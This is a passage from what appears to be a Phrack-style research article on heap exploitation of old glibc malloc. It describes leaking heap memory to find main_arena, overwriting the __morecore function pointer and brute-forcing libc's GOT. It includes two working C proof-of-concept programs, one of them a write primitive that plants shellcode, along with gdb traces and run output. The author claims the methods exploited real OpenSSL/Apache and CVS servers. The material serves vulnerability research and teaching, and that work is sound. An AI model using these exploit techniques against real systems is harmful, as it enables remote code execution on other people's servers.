0x000007f0
0x40018450 <main_arena+1040>:   0x00000001      0x00000000      0x00000001
0x0000016a
0x40018460 <__FRAME_END__+12>:  0x0000000c      0x00001238      0x0000000d
0x0000423c
0x40018470 <__FRAME_END__+28>:  0x00000004      0x00000094      0x00000005
0x4001370c

And we see it's one of the last bins of the main_arena.

Although in this example we hit the cushion chunk in the first try on
purpose, this technique can be applied to brute force the location of our
output buffer also at the same time (if we don't know it beforehand).


--] 4.4.4 Vulnerability based heap memory leak - finding libc's data

In this case, the vulnerability itself leads to leaking process memory.
For example, in the OpenSSL 'SSLv2 Malformed Client Key Buffer Overflow'
vulnerability [6], the attacker is able to overflow a buffer and overwrite
a variable used to track a buffer length.
When this length is overwritten with a length greater than the original,
the process sends the content of the buffer (stored in the process' heap)
to the client, sending more information than the originally stored. The
attacker obtains then a limited portion of the process heap.

---------------------------------------------------------------------------
--] 4.5 Abusing the leaked information

The goal of the techniques in this section is to exploit the information
gathered using one of the process information leak tricks shown before.

--] 4.5.1 Recognizing the arena

The idea is to get from the previously gathered information, the address
of a malloc's bin. This applies mainly to scenarios were we are able to
leak process heap memory. A bin address can be directly obtained if the
attacker is able to use the 'freeing the output' technique.
The obtained bin address can be used later to find the address of a
function pointer to overwrite with the address of our shellcode, as shown
in the next techniques.

Remembering how the bins are organized in memory (circular
double linked lists), we know that a chunk hanging from any bin
containing just one chunk will have both pointers (bk and fd)
pointing to the head of the list, to the same address, since the list
is circular.

   [bin_n]          (first chunk)
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  fd
                           [    chunk
      ptr]  ---->  [<- chunk ->] [<- chunk ->] [<-  bk
   [bin_n+1]        (last chunk)

     .
     .
     .

   [bin_X]
      ptr] ---->  [<-  fd
                  [    lonely but interesting chunk
      ptr] ---->  [<-  bk
     .
     .

This is really nice, as it allows us to recognize within the
heap which address is pointing to a bin, located in libc's space address
more exactly, to some place in the main_arena as this head of the bin
list is located in the main_arena.

Then, we can look for two equal memory addresses, one next to the
other, pointing to libc's memory (looking for addresses of
the form 0x4....... is enough for our purpose). We can suppose these
pairs of addresses we found are part of a free chunk which is the only
one hanging of a bin, we know it looks like...

   size | fd | bk

How easy is to find a lonely chunk in the heap immensity?
First, this depends on the exploitation scenario and the exploited process
heap layout. For example, when exploiting the OpenSSL bug along different
targets, we could always find at least a lonely chunk within the leaked
heap memory.
Second, there is another scenario in which we will be able to locate
a malloc bin, even without the capability to find a lonely chunk. If
we are able to find the first or last chunk of a bin, one of its
pointers will reference an address within main_arena, while the
other one will point to another free chunk in the process heap. So,
we'll be looking for pairs of valid pointers like these:

   [ ptr_2_libc's_memory | ptr_2_process'_heap ]

   or

   [ ptr_2_process'_heap | ptr_2_libc's_memory ]

We must take into account that this heuristic will not be as accurate
as searching for a pair of equal pointers to libc's space address, but
as we already said, it's possible to cross-check between multiple possible
chunks.
Finally, we must remember this depends totally on the way we are
abusing the process to read its memory. In case we can read arbitrary
addresses of memory, this is not an issue, the problem gets harder
as more limited is our mechanism to retrieve remote memory.

--] 4.5.2 Morecore

Here, we show how to find a function pointer within the libc after
obtaining a malloc bin address, using one of the before explained
mechanisms.

Using the size field of the retrieved chunk header and the bin_index() or
smallbin_index() macro we obtain the exact address of the main_arena.
We can cross check between multiple supposed lonely chunks that the
main_arena address we obtained is the real one, depending on the
quantity of lonely chunks pairs we'll be more sure. As long as the
process doesn't crash, we may retrieve heap memory several times, as
main_arena won't change its location. Moreover, I think it
wouldn't be wrong to assume main_arena is located in the same address
across different processes (this depends on the address on which the
libc is mapped). This may even be true across different servers
processes, allowing us to retrieve the main_arena through a leak in a
process different from the one being actively exploited.

Just 32 bytes before &main_arena[0] is located __morecore.

Void_t *(*__morecore)() = __default_morecore;

MORECORE() is the name of the function that is called through malloc
code in order to obtain more memory from the operating system, it
defaults to sbrk().

Void_t * __default_morecore ();
Void_t *(*__morecore)() = __default_morecore;
#define MORECORE (*__morecore)

The following disassembly shows how MORECORE is called from chunk_alloc()
code, an indirect call to __default_morecore is performed by default:

<chunk_alloc+1468>:  mov    0x64c(%ebx),%eax
<chunk_alloc+1474>:  sub    $0xc,%esp
<chunk_alloc+1477>:  push   %esi
<chunk_alloc+1478>:  call   *(%eax)

where $eax points to __default_morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x4207e034

(gdb) x/4i 0x4207e034
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp


MORECORE() is called from the malloc() algorithm to extend the memory top,
requesting the operating system via the sbrk. 

MORECORE() gets called twice from malloc_extend_top()

    brk = (char*)(MORECORE (sbrk_size));
    ...
    /* Allocate correction */
    new_brk = (char*)(MORECORE (correction));


which is called by chunk_alloc():

    /* Try to extend */
    malloc_extend_top(ar_ptr, nb);

Also, MORECORE is called by main_trim() and top_chunk().


We just need to sit and wait until the code reaches any of these points.
In some cases it may be necessary to arrange things in order to avoid the
code crashing before. 
The morecore function pointer is called each time the heap needs to be
extended, so forcing the process to allocate a lot of memory is
recommended after overwriting the pointer. 
In case we are not able to avoid a crash before taking control of the
process, there's no problem (unless the server dies completely), as we can
expect the libc to be mapped in the same address in most cases.

--] 4.5.2.1 Proof of concept 5 : Jumping with morecore

The following code just shows to get the required information from a
freed chunk, calculates the address of __morecore and forces a call
to MORECORE() after having overwritten it.

[jp@vaiolator heapy]$ ./heapy
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...
Segmentation fault

Let's look what happened with gdb, we'll also be using a simple
modified malloc in the form of a shared library to know what is
going on inside malloc's internal structures.

[jp@vaiolator heapy]$ gdb heapy
GNU gdb Red Hat Linux (5.2-2)
Copyright 2002 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux"...
(gdb) r
Starting program: /home/jp/cerebro//heapy/morecore
(-) lonely chunk was freed, gathering information...
   (!) sz = 520 - bk = 0x4212E1A0 - fd = 0x4212E1A0
   (!) the chunk is in bin number 64
   (!) &main_arena[0] @ 0x4212DFA0
   (!) __morecore @ 0x4212DF80
(-) overwriting __morecore...
(-) forcing a call to MORECORE()...

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()


Taking a look at the output step by step:

First we alloc our lonely chunk:
    chunk = (unsigned int*)malloc(CHUNK_SIZE);
(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x00000000  0x00000000  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

Note we call malloc() again with another pointer, letting this aux
pointer be the chunk next to the top_chunk... to avoid the
differences in the way it is handled when freed with our purposes
(remember in this special case the chunk would be coalesced with the
top_chunk without getting linked to any bin):

        aux = (unsigned int*)malloc(0x0);

[1422] MALLOC(512) - CHUNK_ALLOC(0x40019bc0,520)
   - returning 0x8049a18 from top_chunk
   - new top 0x8049c20 size 993
[1422] MALLOC(0)   - CHUNK_ALLOC(0x40019bc0,16)
   - returning 0x8049c20 from top_chunk
   - new top 0x8049c30 size 977

This is the way the heap looks like up to now...

--- HEAP DUMP ---
                ADDRESS SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (inuse)
chunk       0x8049c20 17(0x11)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk_end    0x804a000

--- HEAP LAYOUT ---
|A||A||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30

No bins at all exist now, they are completely empty.

After that we free him:
   free(chunk);

[1422] FREE(0x8049a20) - CHUNK_FREE(0x40019bc0,0x8049a18)
   - fronlink(0x8049a18,520,64,0x40019dc0,0x40019dc0)
   - new free chunk

(gdb) x/8x chunk-1
0x80499d4:  0x00000209  0x4212e1a0  0x4212e1a0  0x00000000
0x80499e4:  0x00000000  0x00000000  0x00000000  0x00000000

The chunk was freed and inserted into some bin... which was empty as
this was the first chunk freed. So this is a 'lonely chunk', the
only chunk in one bin.
Here we can see both bk and fd pointing to the same address in
libc's memory, let's see how the main_arena looks like now:

0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0
0x4212dfc0 <main_arena+32>:   0x4212dfb8  0x4212dfb8  0x4212dfc0  0x4212dfc0
0x4212dfd0 <main_arena+48>:   0x4212dfc8  0x4212dfc8  0x4212dfd0  0x4212dfd0
0x4212dfe0 <main_arena+64>:   0x4212dfd8  0x4212dfd8  0x4212dfe0  0x4212dfe0
0x4212dff0 <main_arena+80>:   0x4212dfe8  0x4212dfe8  0x4212dff0  0x4212dff0
0x4212e000 <main_arena+96>:   0x4212dff8  0x4212dff8  0x4212e000  0x4212e000
0x4212e010 <main_arena+112>:  0x4212e008  0x4212e008  0x4212e010  0x4212e010
0x4212e020 <main_arena+128>:  0x4212e018  0x4212e018  0x4212e020  0x4212e020
0x4212e030 <main_arena+144>:  0x4212e028  0x4212e028  0x4212e030  0x4212e030
...
...
0x4212e180 <main_arena+480>:  0x4212e178  0x4212e178  0x4212e180  0x4212e180
0x4212e190 <main_arena+496>:  0x4212e188  0x4212e188  0x4212e190  0x4212e190
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0
0x4212e1b0 <main_arena+528>:  0x4212e1a8  0x4212e1a8  0x4212e1b0  0x4212e1b0
0x4212e1c0 <main_arena+544>:  0x4212e1b8  0x4212e1b8  0x4212e1c0  0x4212e1c0

Note the completely just initialized main_arena with all its bins
pointing to themselves, and the just added free chunk to one of the
bins...

(gdb) x/4x 0x4212e1a0
0x4212e1a0 <main_arena+512>:  0x4212e198  0x4212e198  0x080499d0  0x080499d0

Also, both bin pointers refer to our lonely chunk.

Let's take a look at the heap in this moment:

--- HEAP DUMP ---
                ADDRESS   SIZE       FLAGS
sbrk_base   0x80499f8
chunk       0x80499f8 33(0x21)   (inuse)
chunk       0x8049a18 521(0x209) (free)      fd = 0x40019dc0 | bk = 0x40019dc0
chunk       0x8049c20 16(0x10)   (inuse)
chunk       0x8049c30 977(0x3d1) (top)
sbrk end    0x804a000

--- HEAP LAYOUT ---
|A||64||A||T|

--- BIN DUMP ---
ar_ptr = 0x40019bc0 - top(ar_ptr) = 0x8049c30
   bin -> 64 (0x40019dc0)
      free_chunk 0x8049a18 - size 520


Using the known size of the chunk, we know in which bin it was
placed, so we can get main_arena's address and, finally, __morecore.

(gdb) x/16x 0x4212dfa0-0x20
0x4212df80 <__morecore>:   0x4207e034  0x00000000  0x00000000  0x00000000
0x4212df90 <__morecore+16>:   0x00000000  0x00000000  0x00000000  0x00000000
0x4212dfa0 <main_arena>:   0x00000000  0x00010000  0x08049be8  0x4212dfa0
0x4212dfb0 <main_arena+16>:   0x4212dfa8  0x4212dfa8  0x4212dfb0  0x4212dfb0

Here, by default __morecore points to __default_morecore:

(gdb) x/20i __morecore
0x4207e034 <__default_morecore>: push   %ebp
0x4207e035 <__default_morecore+1>:  mov    %esp,%ebp
0x4207e037 <__default_morecore+3>:  push   %ebx
0x4207e038 <__default_morecore+4>:  sub    $0x10,%esp
0x4207e03b <__default_morecore+7>:  call   0x4207e030 <memalign_hook_ini+64>
0x4207e040 <__default_morecore+12>: add    $0xb22cc,%ebx
0x4207e046 <__default_morecore+18>: mov    0x8(%ebp),%eax
0x4207e049 <__default_morecore+21>: push   %eax
0x4207e04a <__default_morecore+22>: call   0x4201722c <_r_debug+33569648>
0x4207e04f <__default_morecore+27>: mov    0xfffffffc(%ebp),%ebx
0x4207e052 <__default_morecore+30>: mov    %eax,%edx
0x4207e054 <__default_morecore+32>: add    $0x10,%esp
0x4207e057 <__default_morecore+35>: xor    %eax,%eax
0x4207e059 <__default_morecore+37>: cmp    $0xffffffff,%edx
0x4207e05c <__default_morecore+40>: cmovne %edx,%eax
0x4207e05f <__default_morecore+43>: mov    %ebp,%esp
0x4207e061 <__default_morecore+45>: pop    %ebp
0x4207e062 <__default_morecore+46>: ret
0x4207e063 <__default_morecore+47>: lea    0x0(%esi),%esi
0x4207e069 <__default_morecore+53>: lea    0x0(%edi,1),%edi

To conclude, we overwrite __morecore with a bogus address, and force
malloc to call __morecore:

   *(unsigned int*)morecore = 0x41414141;
   chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

[1422] MALLOC(2048) - CHUNK_ALLOC(0x40019bc0,2056)
   - extending top chunk
   - previous size 976

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

(gdb) bt
#0  0x41414141 in ?? ()
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
#2  0x0804869d in main (argc=1, argv=0xbffffad4) at heapy.c:52
#3  0x42017589 in __libc_start_main () from /lib/i686/libc.so.6

(gdb) frame 1
#1  0x4207a148 in malloc () from /lib/i686/libc.so.6
(gdb) x/i $pc-0x5
0x4207a143 <malloc+195>:   call   0x4207a2f0 <chunk_alloc>
(gdb) disass chunk_alloc
Dump of assembler code for function chunk_alloc:
...
0x4207a8ac <chunk_alloc+1468>:   mov    0x64c(%ebx),%eax
0x4207a8b2 <chunk_alloc+1474>:   sub    $0xc,%esp
0x4207a8b5 <chunk_alloc+1477>:   push   %esi
0x4207a8b6 <chunk_alloc+1478>:   call   *(%eax)

At this point we see chunk_alloc trying to jump to __morecore

(gdb) x/x $eax
0x4212df80 <__morecore>:   0x41414141

#include <stdio.h>
#include <stdlib.h>

/* some malloc code... */
#define MAX_SMALLBIN         63
#define MAX_SMALLBIN_SIZE   512
#define SMALLBIN_WIDTH        8
#define is_small_request(nb) ((nb) < MAX_SMALLBIN_SIZE - SMALLBIN_WIDTH)
#define smallbin_index(sz)  (((unsigned long)(sz)) >> 3)
#define bin_index(sz)                           \
 (((((unsigned long)(sz)) >> 9) ==   0) ?       (((unsigned long)(sz)) >>  3):\
 ((((unsigned long)(sz)) >> 9) <=    4) ?  56 + (((unsigned long)(sz)) >>  6):\
 ((((unsigned long)(sz)) >> 9) <=   20) ?  91 + (((unsigned long)(sz)) >>  9):\
 ((((unsigned long)(sz)) >> 9) <=   84) ? 110 + (((unsigned long)(sz)) >> 12):\
 ((((unsigned long)(sz)) >> 9) <=  340) ? 119 + (((unsigned long)(sz)) >> 15):\
 ((((unsigned long)(sz)) >> 9) <= 1364) ? 124 + (((unsigned long)(sz)) >> 18):\
                                          126)

#define SIZE_MASK 0x3
#define CHUNK_SIZE 0x200

int main(int argc, char *argv[]){

        unsigned int *chunk,*aux,sz,bk,fd,bin,arena,morecore;
        chunk = (unsigned int*)malloc(CHUNK_SIZE);
        aux = (unsigned int*)malloc(0x0);

        free(chunk);
        printf("(-) lonely chunk was freed, gathering information...\n");

        sz = chunk[-1] & ~SIZE_MASK;
        fd = chunk[0];
        bk = chunk[1];

        if(bk==fd) printf("\t(!) sz = %u - bk = 0x%X - fd = 0x%X\n",sz,bk,fd);
        else printf("\t(X) bk != fd ...\n"),exit(-1);

        bin = is_small_request(sz)? smallbin_index(sz) : bin_index(sz);
        printf("\t(!) the chunk is in bin number %d\n",bin);

        arena = bk-bin*2*sizeof(void*);
        printf("\t(!) &main_arena[0] @ 0x%X\n",arena);

        morecore = arena-32;
        printf("\t(!) __morecore @ 0x%X\n",morecore);

        printf("(-) overwriting __morecore...\n");
        *(unsigned int*)morecore = 0x41414141;

        printf("(-) forcing a call to MORECORE()...\n");
        chunk=(unsigned int*)malloc(CHUNK_SIZE*4);

        return 7;
}

This technique works even when the process is loaded in a randomized
address space, as the address of the function pointer is gathered in
runtime from the targeted process. The mechanism is fully generic, as
every process linked to the glibc can be exploited this way.
Also, no bruteforcing is needed, as just one try is enough to exploit the
process.
On the other hand, this technique is not longer useful in newer libcs, 
i.e. 2.2.93, a for the changed suffered by malloc code. A new approach
is suggested later to help in exploitation of these libc versions.
Morecore idea was successfully tested on different glibc versions and Linux
distributions default installs: Debian 2.2r0, Mandrake 8.1, Mandrake
8.2, Redhat 6.1, Redhat 6.2, Redhat 7.0, Redhat 7.2, Redhat 7.3 and
Slackware 2.2.19 (libc-2.2.3.so).
Exploit code using this trick is able to exploit the vulnerable 
OpenSSL/Apache servers without any hardcoded addresses in at least the
above mentioned default distributions.

--] 4.5.3 Libc's GOT bruteforcing

In case the morecore trick doesn't work (we can try, as just requires
one try), meaning probably that our target is using a newer libc, we
still have the obtained glibc's bin address. We know that above that 
address is going to be located the glibc's GOT.
We just need to bruteforce upwards until hitting any entry of a going to
be called libc function. This bruteforce mechanism may take a while, but
not more time that should be needed to bruteforce the main object's GOT
(in case we obtained its aproximate location some way). 
To speed up the process, the bruteforcing start point should be obtained
by adjusting the retrieved bin address with a fixed value. This value
should be enough to avoid corrupting the arena to prevent crashing the
process. Also, the bruteforcing can be performed using a step size bigger
than one. Using a higher step value will need a less tries, but may miss
the GOT. The step size should be calculated considering the GOT size and
the number of GOT entries accesses between each try (if a higher number
of GOT entries are used, it's higher the probability of modifying an entry
that's going to be accessed).
After each try, it is important to force the server to perform as many
actions as possible, in order to make it call lots of different libc
calls so the probability of using the GOT entry that was overwritten
is higher.

Note the bruteforcing mechanism may crash the process in several ways, as
it is corrupting libc data.

As we obtained the address in runtime, we can be sure we are bruteforcing
the right place, even if the target is randomizing the process/lib address
space, and that we will end hitting some GOT entry. 
In a randomized load address scenario, we'll need to hit a GOT entry
before the process crashes to exploit the obtained bin address if there
is no relationship between the load addresses in the crashed process (the
one we obtained the bin address from) and the new process handling our 
new requests (i.e. forked processes may inherit father's memory layout in
some randomization implementations). However, the bruteforcing mechanism
can take into account the already tried offsets once it has obtained the
new bin address, as the relative offset between the bin and the GOT is
constant.

Moreover, this technique applies to any process linked to the glibc.
Note that we could be able to exploit a server bruteforcing some specific
function pointers (i.e. located in some structures such as network output
buffers), but these approach is more generic.

The libc's GOT bruteforcing idea was successfully tested in Redhat 8.0,
Redhat 7.2 and Redhat 7.1 default installations.
Exploit code bruteforcing libc's GOT is able to exploit the vulnerable
CVS servers without any hardcoded addresses in at least the above
mentioned default distributions.

--] 4.5.3.1 Proof of concept 6 : Hinted libc's GOT bruteforcing

The following code bruteforces itself. The process tries to find himself,
to finally end in an useless endless loop.

#include <stdio.h>
#include <fcntl.h>

#define ADJUST          0x200
#define STEP            0x2

#define LOOP_SC         "\xeb\xfe"
#define LOOP_SZ         2
#define SC_SZ           512
#define OUTPUT_SZ       64 * 1024

#define SOMEOFFSET(x)   11 + (rand() % ((x)-1-11))
#define SOMECHUNKSZ     32 + (rand() % 512)

#define PREV_INUSE      1
#define IS_MMAP         2
#define NON_MAIN_ARENA  4

unsigned long *aa4bmoPrimitive(unsigned long what, unsigned long 
                               where,unsigned long sz){
   unsigned long *unlinkMe;
   int i=0;

   if(sz<13) sz = 13;
   unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long));
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = -4;
   unlinkMe[i++] = what;
   unlinkMe[i++] = where-8;
   for(;i<sz;i++)
      if(i%2)
         unlinkMe[i] = ((-(i-8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;
      else
         unlinkMe[i] = ((-(i-3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

   free(unlinkMe+SOMEOFFSET(sz));
   return unlinkMe;
}

/* just force some libc function calls between each bruteforcing iteration */
void do_little(void){
   int w,r;
   char buf[256];
   sleep(0);
   w = open("/dev/null",O_WRONLY);
   r = open("/dev/urandom",O_RDONLY);
   read(r,buf,sizeof(buf));
   write(w,buf,sizeof(buf));
   close(r);
   close(w);
   return;
}

int main(int argc, char **argv){
   unsigned long *output,*bin=0;
   unsigned long i=0,sz;
   char *sc,*p;
   unsigned long *start=0;

   printf("\n## HINTED LIBC GOT BRUTEFORCING PoC ##\n\n");

   sc = (char*) malloc(SC_SZ * LOOP_SZ);
   printf("(-) %d bytes shellcode @ %p\n",SC_SZ,sc);
   p = sc;
   for(p=sc;p+LOOP_SZ<sc+SC_SZ;p+=LOOP_SZ)
      memcpy(p,LOOP_SC,LOOP_SZ);


   printf("(-) forcing bin address disclosure... ");
   output = aa4bmoPrimitive(0xbfffffc0,0xbfffffc4,OUTPUT_SZ);
   for(i=0;i<OUTPUT_SZ-1;i++)
      if(output[i] == output[i+1] &&
            ((output[i] & 0xffff0000) != 0xffff0000) ) {
         bin = (unsigned long*)output[i];
         printf("%p\n",bin);
         start = bin - ADJUST;
      }
   if(!bin){
      printf("failed\n");
      return 0;
   }

   if(argv[1]) i = strtoll(argv[1], (char **)NULL,0);
   else        i = 0;

   printf("(-) starting libc GOT bruteforcing @ %p\n",start);
   for(;;i++){
      sz = SOMECHUNKSZ;
      printf("  try #%.2d  writing %p at %p using %6d bytes chunk\n",
             i,sc,start-(i*STEP),s*sizeof(unsigned long));
      aa4bmoPrimitive((unsigned long)sc,(unsigned long)(start-(i*STEP)),sz);
      do_little();
   }

   printf("I'm not here, this is not happening\n");
}

Let's see what happens:

$ ./got_bf

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #00  writing 0x8049cb0 at 0x4212a9dc using   1944 bytes chunk
  try #01  writing 0x8049cb0 at 0x4212a9d4 using    588 bytes chunk
  try #02  writing 0x8049cb0 at 0x4212a9cc using   1148 bytes chunk
  try #03  writing 0x8049cb0 at 0x4212a9c4 using   1072 bytes chunk
  try #04  writing 0x8049cb0 at 0x4212a9bc using    948 bytes chunk
  try #05  writing 0x8049cb0 at 0x4212a9b4 using   1836 bytes chunk
  ...
  try #140  writing 0x8049cb0 at 0x4212a57c using   1416 bytes chunk
  try #141  writing 0x8049cb0 at 0x4212a574 using    152 bytes chunk
  try #142  writing 0x8049cb0 at 0x4212a56c using    332 bytes chunk
Segmentation fault

We obtained 142 consecutive tries without crashing using random sized
chunks. We run our code again, starting from try number 143 this time,
note the program gets the base bruteforcing address again.

$ ./got_bf 143

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #143  writing 0x8049cb0 at 0x4212a564 using   1944 bytes chunk
  try #144  writing 0x8049cb0 at 0x4212a55c using    588 bytes chunk
  try #145  writing 0x8049cb0 at 0x4212a554 using   1148 bytes chunk
  try #146  writing 0x8049cb0 at 0x4212a54c using   1072 bytes chunk
  try #147  writing 0x8049cb0 at 0x4212a544 using    948 bytes chunk
  try #148  writing 0x8049cb0 at 0x4212a53c using   1836 bytes chunk
  try #149  writing 0x8049cb0 at 0x4212a534 using   1132 bytes chunk
  try #150  writing 0x8049cb0 at 0x4212a52c using   1432 bytes chunk
  try #151  writing 0x8049cb0 at 0x4212a524 using    904 bytes chunk
  try #152  writing 0x8049cb0 at 0x4212a51c using   2144 bytes chunk
  try #153  writing 0x8049cb0 at 0x4212a514 using   2080 bytes chunk
Segmentation fault

It crashed much faster... probably we corrupted some libc data, or we have
reached the GOT...

$ ./got_bf 154

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #154  writing 0x8049cb0 at 0x4212a50c using   1944 bytes chunk
Segmentation fault

$ ./got_bf 155

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #155  writing 0x8049cb0 at 0x4212a504 using   1944 bytes chunk
  try #156  writing 0x8049cb0 at 0x4212a4fc using    588 bytes chunk
  try #157  writing 0x8049cb0 at 0x4212a4f4 using   1148 bytes chunk
Segmentation fault

$ ./got_bf 158

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #158  writing 0x8049cb0 at 0x4212a4ec using   1944 bytes chunk
  ...
  try #179  writing 0x8049cb0 at 0x4212a444 using   1244 bytes chunk
Segmentation fault

$ ./got_bf 180

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #180  writing 0x8049cb0 at 0x4212a43c using   1944 bytes chunk
  try #181  writing 0x8049cb0 at 0x4212a434 using    588 bytes chunk
  try #182  writing 0x8049cb0 at 0x4212a42c using   1148 bytes chunk
  try #183  writing 0x8049cb0 at 0x4212a424 using   1072 bytes chunk
Segmentation fault

$ ./got_bf 183

## HINTED LIBC GOT BRUTEFORCING PoC ##

(-) 512 bytes shellcode @ 0x8049cb0
(-) forcing bin address disclosure... 0x4212b1dc
(-) starting libc GOT bruteforcing @ 0x4212a9dc
  try #183  writing 0x8049cb0 at 0x4212a424 using   1944 bytes chunk
  try #184  writing 0x8049cb0 at 0x4212a41c using    588 bytes chunk
  try #185  writing 0x8049cb0 at 0x4212a414 using   1148 bytes chunk
  try #186  writing 0x8049cb0 at 0x4212a40c using   1072 bytes chunk
  try #187  writing 0x8049cb0 at 0x4212a404 using    948 bytes chunk
  try #188  writing 0x8049cb0 at 0x4212a3fc using   1836 bytes chunk
  try #189  writing 0x8049cb0 at 0x4212a3f4 using   1132 bytes chunk
  try #190  writing 0x8049cb0 at 0x4212a3ec using   1432 bytes chunk

Finally, the loop shellcode gets executed... 5 crashes were needed,
stepping 8 bytes each time. Playing with the STEP and the ADJUST values
and the do_little() function will yield different results.

--] 4.5.4 Libc fingerprinting

Having a bin address allows us to recognize the libc version being
attacked.
We just need to build a database with different libcs from different
distributions to match the obtained bin address and bin number. 
Knowing exactly which is the libc the target process has loaded gives us
the exact absolute address of any location within libc, such as:
function pointers, internal structures, flags, etc. This information can
be abused to build several attacks in different scenarios, i.e. knowing
the location of functions and strings allows to easily craft return into
libc attacks [14].

Besides, knowing the libc version enables us to know which Linux
distribution is running the target host. These could allow further
exploitation in case we are not able to exploit the bug (the one we are
using to leak the bin address) to execute code.

--] 4.5.5 Arena corruption (top, last remainder and bin modification)

From the previously gathered main_arena address, we know the location of
any bin, including the top chunk and the last reminder chunk.
Corrupting any of this pointers will completely modify the allocator
behavior. Right now, I don't have any code to confirm this, but there are
lot of possibilities open for research here, as an attacker might be
able to redirect a whole bin into his own supplied input.

---------------------------------------------------------------------------
--] 4.6 Copying the shellcode 'by hand'

Other trick that allows the attacker to know the exact location of the
injected shellcode, is copying the shellcode to a fixed address using the
aa4bmo primitive.
As we can't write any value, using unaligned writes is needed to create
the shellcode in memory, writting 1 or 2 bytes each time.
We need to be able to copy the whole shellcode before the server crashes
in order to use this technique. 

---------------------------------------------------------------------------
--] 5 Conclusions

malloc based vulnerabilities provide a huge opportunity for fully
automated exploitation. 
The ability to transform the aa4bmo primitive into memory leak primitives
allows the attacker to exploit processes without any prior knowledge, even
in presence of memory layout randomization schemes.

    [ Note by editors: It came to our attention that the described
      technique might not work for the glibc 2.3 serie. ]

---------------------------------------------------------------------------
--] 6 Thanks

I'd like to thank a lot of people: 8a, beto, gera, zb0, raddy, juliano,
kato, javier burroni, fgsch, chipi, MaXX, lck, tomas, lau, nahual, daemon,
module, ...
Classifying you takes some time (some 'complex' ppl), so I'll just say
thank you for encouraging me to write this article, sharing your ideas,
letting me learn a lot from you every day, reviewing the article,
implementing the morecore idea for first time, being my friends, asking
for torta, not making torta, personal support, coding nights, drinking
beer, ysm, roquefort pizza, teletubbie talking, making work very 
interesting, making the world a happy place to live, making people hate
you because of the music...
(you should know which applies for you, do not ask)

---------------------------------------------------------------------------
--] 7 References

[1]  http://www.malloc.de/malloc/ptmalloc2.tar.gz
     ftp://g.oswego.edu/pub/misc/malloc.c
[2]  www.phrack.org/phrack/57/p57-0x08
     Vudo - An object superstitiously believed to embody magical power
     Michel "MaXX" Kaempf
[3]  www.phrack.org/phrack/57/p57-0x09
     Once upon a free()
     anonymous
[4]  http://www.phrack.org/show.php?p=59&a=7
     Advances in format string exploitation
     gera and riq
[5]  http://www.coresecurity.com/common/showdoc.php? \
     idx=359&idxseccion=13&idxmenu=32
     About exploits writing
     gera
[6]  http://online.securityfocus.com/bid/5363
[7]  http://security.e-matters.de/advisories/012003.txt
[8]  http://www.openwall.com/advisories/OW-002-netscape-jpeg.txt
     JPEG COM Marker Processing Vulnerability in Netscape Browsers
     Solar Designer
[9]  http://lists.insecure.org/lists/bugtraq/2000/Nov/0086.html
     Local root exploit in LBNL traceroute
     Michel "MaXX" Kaempf
[10] http://www.w00w00.org/files/articles/heaptut.txt 
     w00w00 on Heap Overflows
     Matt Conover & w00w00 Security Team
[11] http://www.phrack.org/show.php?p=49&a=14
     Smashing The Stack For Fun And Profit
     Aleph One
[12] http://phrack.org/show.php?p=55&a=8
